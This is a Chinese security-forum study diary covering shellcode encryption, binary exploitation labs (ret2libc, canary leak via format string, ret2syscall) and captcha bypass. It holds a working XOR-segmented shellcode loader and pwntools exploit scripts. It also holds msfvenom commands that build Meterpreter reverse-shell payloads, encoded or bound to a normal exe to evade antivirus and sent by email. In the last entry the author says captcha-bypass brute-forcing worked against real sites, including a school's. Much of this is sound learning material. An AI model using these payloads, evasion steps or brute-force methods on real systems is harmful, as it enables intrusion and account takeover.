安全矩阵

 找回密码
 立即注册
搜索
楼主: caiH

温鸿的学习日记

[复制链接]

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-5 23:51:32 | 显示全部楼层
本帖最后由 caiH 于 2020-3-6 00:48 编辑

2020年3月5日


shellcode分段执行新思考

下图是整个shellcode的组成,我们只需执行这段shellcdode即能分段解密并执行shellcode

整体思路为:
先对一段shellcode进行分段,分成三段不同的shellcode然后对这三段用不同的加密子进行加密,再在加密的shellcode后面加上标识码x90。
在每段加密的sehllcode后面添加x90就是为了表示这段已经解密完成,需要跳转到下一段shellcode.但是如何跳转到下一个shellcode的首地
址,这又是一个问题。汇编如下:
  • 31:           mov bh, 0x51//0x51是key1的值,不同的代码段,是不一样的。
  •             
  • 32:           jmp eax
  •            

然后转换成机器码,将其加到加密的shellcode后面,之后再添加x90.
三段加密shellcode为
  • char encode_1="\xB7\x51\xFF\xE0\xD2\x93\x53\x03\x3B\x51\xC1";
  •         char encode_2="\xB7\x63\xFF\xE0\x9C\x16\x97\x9C\x16\x93\x09\x63\xF3";
  •         char encode_3="\xB7\x78\xFF\xE0\xF3\x3D\x80\x87\xA8\xBB\xE8";

下面就是对解密的部分进行分析:
我们得明白我们只需解密shellcode其他的机器码可以跳过,比如跳转的机器码和x90,我们知道跳转的机器码长度为4,所以
  • add ecx, 4  
  • push ecx        //ecx入栈,让ret跳转到encode1处开始执行

开始解密之后,我们比较完是否为x90时,我们跳转到首地址
  • add ecx,edi  //下一段encode2的首地址
  •                 ret //ret跳转到之前压入的ecx指向的地址,即跳转到encode1处开始执行

将整段shellcode的首地址赋值给eax,用ecx来跟踪加密代码的执行轨迹,edi来记录解密时的偏移量,整段解密码代码为
  •   add ecx, 4  //跳过jmp语句
  •                 push ecx        //ecx入栈,让ret跳转到encode1处开始执行
  •                 xor edi, edi //edi作为偏移量
  • decode:        mov bl, [ecx+edi]
  •                 xor bl, bh        //xor解密,bh是密钥
  •                 mov [ecx+edi], bl
  •                 inc edi
  •                 cmp bl,0x90  //判断代码段是否全部解密完成
  •                 je execute
  •                 jmp decode

  • execute:add ecx,edi  //下一段encode2的首地址
  •                 ret //ret跳转到之前压入的ecx指向的地址,即跳转到encode1处开始执行



将这代码转换成机器码为
\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90
之后将这四段机器码拼接起来,运行即可。
  • #include "stdafx.h"
  • #include "string.h"
  • #include "stdlib.h"
  • #include "windows.h"

  • char key1 = 0x51;
  • char key2 = 0x63;
  • char key3 = 0x78;

  • int main(int argc, char* argv[])
  • {
  •       
  •         LoadLibraryA("user32.dll");
  •         HMODULE hmd=GetModuleHandleW(L"user32.dll");
  •         ULONG addr=(ULONG)GetProcAddress(hmd,"MessageBoxA")
  •         
  •         
  •         char shellcode[] = "\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90\xB7\x51\xFF\xE0\xD2\x93\x53\x03\x3B\x51\xC1\xB7\x63\xFF\xE0\x9C\x16\x97\x9C\x16\x93\x09\x63\xF3\xB7\x78\xFF\xE0\xF3\x3D\x80\x87\xA8\xBB\xE8";
  •       
  •         
  •    
  •         _asm
  •         {
  •                 lea eax, shellcode
  •                 mov ecx, eax
  •                 add ecx, 0x1A
  •                 push ecx
  •                 call next
  • next:        pop edx
  •                 ret
  •         }
  •         return 0;
  • }


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-6 23:31:08 | 显示全部楼层
2020年3月6日
今天满课,明天是很多作业的提交截止时间,所以开始补作业,今天时间都花在专业课上了,明天补回来
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-8 23:10:32 | 显示全部楼层
本帖最后由 caiH 于 2020-3-8 23:25 编辑

2020年3月8日
汇编中函数的使用

程序通过调用程序来调用函数,在执行函数后又返回调用程序继续执行。调用函数的代码保存了
一个返回地址,改地址会与参数一起传递给被调用的函数,有多种方法可以实现这个功能,在绝大多数
情况下,编译器都用call和ret来调用函数及返回调用位置。



call指令:与跳转指令功能类似,不同的是call指令保存返回信息,即将其之后的指令地址压入栈的
顶部,当遇到ret指令后返回这个地址,也就是说call指令给出的地址就是被调用函数的起始地址,
ret指令则用于结束这个执行。通过这一机制可以很容易将函数调用和跳转指令区分开来。可以通过
call指令或者ret指令结束来识别函数。call指令操作就是所谓函数的首地址。



例如,我们来看一个具体的例子
#include  "stdio.h"
int Add(int x,int y);
main()
{
int a=1,b=2;
a=Add(a,b);
printf("%d\n",a);
}
Add(int x,int y)
{
return (x+y);}


这是一个简单的调用和函数的程序,我们通过反汇编来看

首先将参数a,b从右往左给push进栈里面,然后再call函数的地址,这里Add函数的地址为:00401005
之后有个add esp,8这是干什么的呢?这是将局部变量a,b所占用栈的空间给释放出来。


下面我们来看Add函数的程序代码、

前面就是将调用a,b这两个参数,中间就是函数的内容,最后面有两个指令
pop ebp  这是恢复现场的ebp指针,程序一开始有   push ebp这个指令

ret指令 就是平衡堆栈,在ret指令后面加一个操作数,表示ret指令后给栈指针esp加上操作数



下面我们写出完整的汇编代码
  • #include<stdio.h>
  • int Add(int x, int y);
  • void main()
  • {
  •         char *str="total=%d\n";
  •         _asm
  •         {
  •                 push 2
  •                 push 1
  •                 call L1
  •                 jmp L2
  • L1:
  •                 push ebp
  •                 mov ebp,esp
  •                 mov eax,dword ptr [ebp+8]
  •                 mov ecx,dword ptr [ebp+0Ch]
  •                 add eax,ecx
  •                 mov esp,ebp
  •                 pop ebp
  •                 ret  8
  • L2:
  •                 add esp,8
  •                 push eax
  •                 push str
  •                 call printf
  •                 add esp,8
  •         }
  • }



下面我们考虑传参的时候应该注意什么事项:


值得注意的是如果我们在调用的函数有局部变量额时候,我们需要使用
sub esp,8来给局部变量空出一些位置,而再调用完这个指令后,我们
应该使用add esp,8来释放变量占用的空间
而调用"ret  8”指令来平衡栈的时候,ret后面加的操作数表示ret指令后给栈指针esp加上操作
数,完成同样的功能,而操作数的大小为调用参数的4倍



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-14 21:06:41 | 显示全部楼层
本帖最后由 caiH 于 2020-3-14 22:08 编辑

3月14日

免杀学习1




首先我们在msf上生成一个不做任何处理的载荷
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.132 LPORT=3333 -f exe -o payload.exe


我们通过邮箱来进行传输,由于邮箱不能传书exe文件,于是我们将其后缀名改成txt。但是我们发现,通过邮箱
传输,在接收该邮件后下载该文件时火绒上将其强制删除,说明并没有过火绒

于是我们使用msf自编码进行处理,使用的为其频率最高的x86/shikata_ga_nai的一个编码器

使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这里设置15次,并使用了-b参数去掉payload中的空字符。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.132 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15  -f exe -o payload2.exe



然后进行上述一样的操作,发现这次编码之后仍然不能过火绒

但是根据教程,好像能过360和其他杀毒软件,但是电脑没装就没有试验

一种编码方式不行,于是我们想着用多种编码方式一起进行编码

先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以putty.exe为模板的可执行文件。



发现经过这样的编码方式之后仍然不能过火绒。
看到作者的一个结论:
经过测试,发现使用的编码类型越多,免杀率可能会降低,猜测是因为各种编码引入了更多的特征码。同时生成
的payload也很可能无法正常执行,这个也和被捆绑程序有一定关联。
这值得思考

下面一个就是msf自捆绑免杀,就是在一个文件上面捆绑一个msf生成的文件来假装成一个正常的文件
我们将1.exe捆绑,生成payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= 192.168.119.132 LPORT=3333  -x 1.exe  -f exe -o payload4.exe



我们发现生成的payload的大小与原文件1.exe的大小相等


看其免杀能力,但是发现这捆绑的文件仍然不能过火绒。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-20 22:41:06 | 显示全部楼层
最近几天家里在做房子,白天去帮忙搬了几天砖,晚上回来上网课,耽误了学习,明天开始正常学习。
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-21 22:50:38 | 显示全部楼层
3月21日

kali虚拟机扩容



首先,我们对虚拟机进行编辑

如果发现,“扩展”按钮点不动的话,可能是有快照没有删除,在虚拟机设置中找到快照管理将其删除。



点击“扩展”之后,会提示我们进入客户机进行分区,那么就需要将虚拟机启动,使用命令行来对其分区。



我们先看没有进行分区时的内存使用情况使用命令 df -h

然后我们进入第一块硬盘,sda是指第一块硬盘,使用命令fdisk /dev/sda



输入p看各区内存情况,其中sda5是交换分区,sda2是扩展分区,sda1是主分区,而交换分区直接放在扩展分区上。



下面我们删除分区,输入d,按照下图提示,依次删除5、2、1分区,删除1分区时不需要输入1,直接输入d即可,我们可以查看分区,发现已经删除所有分区。

接下来,我们重建分区,输入n,根据下图操作,我们先重建主分区,输入p,然后回车,再回车,接下来输入我们想要扩容的空间,要是1024的倍数,且需要八位数,例如:我要的空间是1024*7=7168,则输入71680000
然后输入“N”

接着新建逻辑分区,按照图中提示即可,这次不需要输入想要扩展的大小,因为主分区剩下的内存就是逻辑分区。

查看分区发现,已经分好了两个区。最后就是交换分区,按下图指示即可,值得注意的是我们给sda5分区不代表就是给交换分区分区,还得继续操作。

分区完成,我们重启,之后再进行操作。



重启之后,我们首先刷新分区表,
使用命令resize2fs /dev/sda1



然后开始设置交换分区,
输入命令mkswap /dev/sda5
会出现一串UUID,将其复制
再输入指令leafpad /etc/fstab,之后会出现一个打开的文件,找到sda5的UUID然后将其替换,保存,关闭该文件。

可以使用swapon -s查看交换分区是否设置成功。
确认成功之后即可重启,本次扩容就完成了。



回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-25 17:02:53 | 显示全部楼层
ret2libc技术


这是我们要进行溢出实验的C程序:
  • #include <stdio.h>
  • void exploit()
  • {
  •     system("/bin/sh");
  • }
  • void func()
  • {
  •         char str[0x20];
  •         read(0,str,0x50);
  • }
  • int main()
  • {
  •         func();
  •         return 0;
  • }
由于没有使用 -z execstack,所以数据所在的内存页标识为不可执行,当程序溢出之后并不会去跳转到恶意代码,而是会进行报
错,所以我们应该关闭ASLR,执行下面代码即可
echo 0 > /proc/sys/kernel/randomize_va_space
将其编译为32位的exe文件  1.exe

gcc -no-pie -fno-stack-protector -z execstack -m32 -o 1.exe 1.c
之后我们先找出溢出的位置
先生成一百个字符
pattern  create 100
将其复制,输入r进行交互将这些字符粘贴进去
会发现程序停止运行,我们找到eip对应的字符AFAA,这就是发生溢出的位置,执行下列命令找出发生溢出的位置
pattern offset AFAA

发现溢出的位置为44,那么我们就可以从这个位置开始将返回地址进行覆盖,替换成恶意代码的地址,这里我们是替换成exploit的地址,
因为这个函数里面有个system函数,可以获取系统权限

那么可以写python代码来进行交互,利用这个溢出
from pwn import *//导入库
p=process('./1.exe')
offset = 44
payload ='a'*offset+p32(0x8049172)//载荷,前面为字符串正好填充缓冲区,后面就是替换原来返回地址的地址
p.sendline(payload)//将载荷发送至1.exe程序
p.interactive()//进行交互

执行这个代码,成功提权

下面就是ret2libc技术,这个与上面不同的是,我们溢出之后跳转的不再是exploit函数,而是直接跳转到system函数
那么,我们肯定不能直接将返回地址覆盖成system函数,因为执行函数的时候我们需要先压入参数,再将返回地址压
入堆栈,把寄存器压栈然后开辟空间,所以我们直接跳到system这个函数的时候,eip获得system的地址,那么我们也要将
参数和返回地址压入堆栈,本程序中system有一个字符串参数为'/bin/sh',所以现在我们要做的是分别找到system、返回地址exit、/bin/sh的地址
如果我们使用的是peda,那么我们可以用p system   或者searchmem system来找system的地址,如果使用的是pwndbg的话我们可以用
search system来找地址,后面两个的地址都是这样来找的。

值得注意的是,这里找到多个地址要注意字符串地址和函数地址,比如上图就是字符串地址,三个地址都可以使用,那么我们就可以书写python代码,
只需将上面的代码稍微改一下即可
from pwn import *
p=process('./1.exe')
offset = 44
payload ='a'*offset+p32(0x804a008)+p32(0xf7de34af)+p32(0xf7de58d1)
p.sendline(payload)
p.interactive()

然后执行该python代码,成功拿到系统权限。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-26 22:18:39 | 显示全部楼层
本帖最后由 caiH 于 2020-3-26 22:22 编辑

通过格式化输出绕过canary保护


如果一个程序开启了canary保护,那么我们想要获取系统权限的话,我们应该怎么样做?


思路:
由于canary保护会检测canary的地址,如果这个地址被覆盖的话,那么这个程序将不会执行,所以我们在利用这个溢出的时
候,不能将canary的地址也给覆盖,则需要找到原程序canary的地址,并且将其写在payload中,写入的位置为原来canary的
地址。我们需要利用exploit函数中的system函数来获得系统权限。


这是我们要进行实验的1.c文件
  1. #include <stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.         char str[16];
  9.         read(0,str,64);
  10.         printf(str);
  11.         read(0,str,64);
  12. }
  13. int main()
  14. {
  15.         func();
  16.         return 0;}
复制代码



首先打开canary保护机制关掉其它保护机制,将其编译为32位的exe文1.exe:
  1. gcc -no-pic -fstack-protector -m32 -o 1.exe 1.c
复制代码


在func这里设置一个断点。b func


接下来我们要做的就是找到canary的地址,我们不妨先执行程序start然后一直n下去,直到我们发现不一样的代码



图中所示就是canary,我们找到其地址
  1. x/x 0x804c000
复制代码


得到结果为



这个时候我们就可以来计算这个地址与栈顶相差多少个位置,stack 20,来显示栈前20个位置的内容



图中即为canary的位置,其与栈顶相差11个位置。


到这里我们就找到了其位置,但是因为canary是会变的,所以我们不能用现在找到的canary的地址。那么可以将其输出然
后再来使用,那么就要借助格式化输出了。在程序中,我们需要输入字符串,且输出了这个字符串,那么就可以利用这
点来输出canary的地址。


我们输入的是格式化字符串是%11$08x,怎么理解这个呢?
%11这里就是取与栈顶相差11个位置的地址,也就是我们上面找到的canary的地址,$08x就是取这个地址的前8位(注
意,这是从右往左开始的数的)。


那么输出的就是canary这个地址,再利用这个地址构造payload即可。


下面就是我们的python程序1.py
  1. from pwn import *
  2. p=process("./1.exe")
  3. p.sendline("%11$08x")
  4. canary=p.recv()[:8]
  5. print(canary)

  6. canary=canary.decode("hex")[::-1]

  7. coffset=4*4
  8. roffset=3*4
  9. raddr=p32(0x8049192)//exploit的地址,利用system来获得系统权限
  10. payload=coffset*'a'+canary+roffset*'a'+raddr
  11. p.sendline(payload)
  12. p.interactive()
复制代码

需要注意的是raddr=p32(0x8049192)是获取函数的地址,cooffset和roffset是我们剩下需要填充的需要填充的空间,如图:



那么payload的构造就是
payload=coffset*'a'+canary+roffset*'a'+raddr
最后执行1.py即可,发现获取系统权限成功:




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-27 21:41:50 | 显示全部楼层

ret2syscall技术


ret2syscall技术的原理大致为:从一个程序的进程空间去找一些函数汇编指令序列,然后通过堆栈操作
构造execve("/bin/sh",null.null)这个函数,从而在利用溢出漏洞的时候去执行这个函数来获取系统调用。


execve("/bin/sh",null.null)函数的汇编程序为:


pop eax,   # 系统调用号载入, execve为0xb


pop ebx,     # 第一个参数, /bin/sh的string


pop ecx,  # 第二个参数,0


pop edx, # 第三个参数,0


int 0x80,  # 执行系统调用

那么我们应该从程序的进程空间中去找一些push、ret这样的汇编指令序列,然后通过堆栈操作将eax的值赋为
0xb,将ebx指向为/bin/sh的地址,ecx为0,edx也为0。


那么通过ROPgadget这个工具来获取这些指令的位置。
例如:


  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"

复制代码

这条指令的意思是从pop、ret序列当中寻找其中的eax


  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
复制代码


这个就是从pop、ret序列当中寻找其中的ebx、ecx、dex


  1. ROPgadget --binary ./7.exe --string "/bin/sh"
复制代码


这个是去找"/bin/sh"这个字符串的地址


  1. ROPgadget --binary ./7.exe --only "int"|grep "0x80"
复制代码


这个就是int中断找"0x80"


下面我们开始实验,这个是我们进行实验的1.c文件:


#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
        char str[0x20];
        read(0,str,0x50);
}
int main()
{
        func();
        return 0;
}

首先我们将其编译,不使用堆栈保护


gcc -no-pie -fno-stack-protector  -static -m32  -o 1.exe 1.c

但是值得注意的是,我们需要设置成静态编译即
-static,否则将找不到这个程序的指令流。


找到这个程序的溢出位置,为第44个字节:



下面我们通过ROPgadget来寻找各个指令与函数的位置:


pop eax:



pop ebx 、edx、ecx:



参数"/bin/sh"的位置 以及断点int "0x80"的位置



根据execve的汇编指令,我们构造整个payload,其顺序为:


1、pop eax 2、载入execve(其值为0xb) 3、pop ebx、ecx、edx 4、给三个寄存器分别传参,为:0x080ae008("/bin/sh"的地址)、0、0
5、最后就是断点int "0x80"的位置


最后执行其python程序为1.py


  1. from pwn import *

  2. context(arch="i386",os="linux")

  3. p=process('./7.exe')

  4. offset = 44

  5. add_eax=p32(0x080aaa06)

  6. value_eax=p32(0xb)

  7. add_edx_ecx_ebx=p32(0x0806f711)

  8. value_ebx=p32(0x080ae008)

  9. value_ecx=p32(0)

  10. value_edx=p32(0)

  11. add_int=p32(0x0804a3d2)

  12. payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int

  13. p.sendline(payload)

  14. p.interactive()
复制代码

获取权限成功




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
 楼主| 发表于 2020-3-30 21:56:22 | 显示全部楼层
最近在研究如何绕过验证码来进行账号密码的爆破
以下为目前我掌握的一些方法:


1.通过工具进行绕过
首先介绍一下今天发现的一个工具,可以识别一些比较直观的验证码的工具
PKAV HTTP FUzzer

比如某学校的验证码很简单,工具能够识别

利用这个工具就可以爆破某些网站了(亲测有效)
工具操作如下:
1.首先在“目标数据“中将bp中拦截的数据包放入

2、然后添加标记,注意这里要区分验证码标记
3、之后就是导入账号密码之类的
4、在 ”图片型验证码“中设置符合要求的选项

5、最后可以在”发包器“中进行启动
注:这种方法有一定失误率,尤其是到验证码具有迷惑性的时候

2、有的网站验证码由本地js生成仅仅在本地用js验证。可以在本地禁用js,用burp把验证字段删除(目前没有遇到过)


3、无条件不刷新(目前也没有遇到过)
无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对
一个或多个用户帐号进行暴力猜解。换句话说,攻击者可以在同一个会话下,在获得第一个验证码后,后面不再主动
触发验证码生成页面,并且一直使用第一个验证码就可循环进行后面的表单操作,从而绕过了验证码的屏障作用,对登录进行暴力猜解。


4、验证码前端可获取(这个要写脚本去获取验证码,感觉比较麻烦)

验证码隐藏在源码之中,这个需要写程序来获取也比较麻烦

验证码隐藏在Cookie中

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-27 05:25 , Processed in 0.014636 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表